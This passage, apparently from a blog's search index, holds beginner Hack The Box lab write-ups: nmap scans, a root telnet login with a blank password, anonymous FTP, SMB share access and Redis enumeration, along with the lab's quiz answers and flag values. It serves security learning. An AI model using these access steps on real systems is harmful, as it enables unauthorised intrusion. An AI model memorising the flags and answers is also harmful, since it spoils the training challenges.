s3://thetoppers.htb We are in.\nLet\u0026rsquo;s search for the flag and be done :grin:\nQuestions How many TCP ports are open? 2 What is the domain of the email address provided in the \u0026ldquo;Contact\u0026rdquo; section of the website? thetoppers.htb In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames? /etc/hosts Which sub-domain is discovered during further enumeration? s3.thetoppers.htb Which service is running on the discovered sub-domain? Amazon s3 Which command line utility can be used to interact with the service running on the discovered sub-domain? awscli Which command is used to set up the AWS CLI installation? aws configure What is the command used by the above utility to list all of the S3 buckets? aws s3 ls This server is configured to run files written in what web scripting language? php flag: a980d99281a28d638ac68b9bf9453c2b\n","permalink":"https://woadey.github.io/posts/htb/startingpoint-tier1/","summary":"Short writeups for each of the \u003ca href=\"https://app.hackthebox.com/starting-point\"\n title=\"Starting Point\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eStarting Point\u003c/a\u003e boxes on HTB – Tier 1","title":"HTB Writeup: Learn the basics of Penetration Testing – Tier 1"},{"content":"Meow nmap Starting the chall with an nmap scan to see which ports are open.\n1 2 3 4 5 6 7 8 9 # Nmap 7.92 scan initiated Fri Apr 29 15:39:25 2022 as: nmap -sV -sC -oA ./meow/meow 10.129.251.259 Nmap scan report for 10.129.251.259 Host is up (0.17s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 23/tcp open telnet? Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 29 15:40:00 2022 -- 1 IP address (1 host up) scanned in 35.35 seconds telnet telnet is an older and less secure network protocol that allows access to another device or server remotely. It happens to have an open port. Let\u0026rsquo;s try to connect.\nroot worked first try! ls; cat flag.txt to get the flag.\nQuestions What does the acronym VM stand for? Virtual Machine What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It\u0026rsquo;s also known as a console or shell. terminal What service do we use to form our VPN connection into HTB labs? openvpn What is the abbreviated name for a \u0026rsquo;tunnel interface\u0026rsquo; in the output of your VPN boot-up sequence output? tun What tool do we use to test our connection to the target with an ICMP echo request? ping What is the name of the most common tool for finding open ports on a target? nmap What service do we identify on port 23/tcp during our scans? telnet What username is able to log into the target over telnet with a blank password? root flag: b40abdfe23665f766f9c61ecba8a4c19\nFawn nmap Run nmap on the box.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # Nmap 7.92 scan initiated Fri Apr 29 15:48:32 2022 as: nmap -sV -sC -oA nmap/fawn 10.129.143.56 Nmap scan report for 10.129.143.56 Host is up (0.088s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.16.162 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 29 15:48:37 2022 -- 1 IP address (1 host up) scanned in 4.99 seconds FTP ftp (File Transfer Protocol) allows devices to upload, download and transfer files through the internet. However, this can be taken advantage of if configured poorly.\nLet\u0026rsquo;s connect via:\nftp 10.129.143.56 and sign in as an anonymous user. Bingo, now just find the flag.\nQuestions What does the 3-letter acronym FTP stand for? File Transfer Protocol Which port does the FTP service listen on usually? 21 What acronym is used for the secure version of FTP? SFTP What is the command we can use to send an ICMP echo request to test our connection to the target? ping From your scans, what version is FTP running on the target? vsftpd 3.0.3 From your scans, what OS type is running on the target? Unix What is the command we need to run in order to display the \u0026lsquo;ftp\u0026rsquo; client help menu?ftp -h What is username that is used over FTP when you want to log in without having an account? anonymous What is the response code we get for the FTP message \u0026lsquo;Login successful\u0026rsquo;? 230 There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system. ls What is the command used to download the file we found on the FTP server? get flag: 035db21c881520061c53e0536e44f815\nDancing nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # Nmap 7.92 scan initiated Fri Apr 29 15:57:22 2022 as: nmap -sV -sC -oA nmap/dancing 10.129.24.249 Nmap scan report for 10.129.24.249 Host is up (0.075s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2022-04-30T00:00:27 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: 3h59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 29 16:00:33 2022 -- 1 IP address (1 host up) scanned in 191.84 seconds smb smb (Server Message Block) is a network protocol that allows devices to share, open, and edit files on remote devices or servers. smbclient is a tool to harness this protocol.\nWe can list all the smb sharenames by:\nsmbclient -L 10.129.24.249 Now let\u0026rsquo;s try to connect to all of them via:\nsmbclient \\\\\\\\10.129.24.249\\\\\u0026lt;Sharename\u0026gt; WorkShares ftw! Now let\u0026rsquo;s look around and get the flag.\nQuestions What does the 3-letter acronym SMB stand for? Server Message Block What port does SMB use to operate at? 445 What is the service name for port 445 that came up in our Nmap scan? microsoft-ds What is the \u0026lsquo;flag\u0026rsquo; or \u0026lsquo;switch\u0026rsquo; we can use with the SMB tool to \u0026rsquo;list\u0026rsquo; the contents of the share? -L How many shares are there on Dancing? 4 What is the name of the share we are able to access in the end with a blank password? WorkShares What is the command we can use within the SMB shell to download the files we find? get flag: 5f61c10dffbc77a704d76016a22f1664\nRedeemer nmap 1 2 3 4 5 6 7 8 9 Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-24 21:34 EDT Nmap scan report for 10.129.13.221 Host is up (0.069s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 5.0.7 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 724.57 seconds redis redis (Remote Dictionary Server) is an in-memory data structure that can be used as a database, cache, or message broker. We can use redis-cli (sudo apt install redis-tools) to interact with the server:\nredis-cli -h 10.129.13.221 \u0026hellip;followed by info will give us some insight into the stored data. select 0 will allow us to select the database, and keys * will show all keys in the db. Profit!\n\u0026gt; info ... \u0026gt; select 0 ... \u0026gt; keys * ... Questions Which TCP port is open on the machine? 6379 Which service is running on the port that is open on the machine? redis What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database In-memory Database Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments. redis-cli Which flag is used with the Redis command-line utility to specify the hostname? -h Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server? info What is the version of the Redis server being used on the target machine? 5.0.7 Which command is used to select the desired database in Redis? select How many keys are present inside the database with index 0? 4 Which command is used to obtain all the keys in a database? keys * flag: 03e1d2b376c37ab3f5319922053953eb\n","permalink":"https://woadey.github.io/posts/htb/startingpoint-tier0/","summary":"Short writeups for each of the \u003ca href=\"https://app.hackthebox.com/starting-point\"\n title=\"Starting Point\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eStarting Point\u003c/a\u003e boxes on HTB – Tier 0","title":"HTB Writeup: Learn the basics of Penetration Testing – Tier 0"}]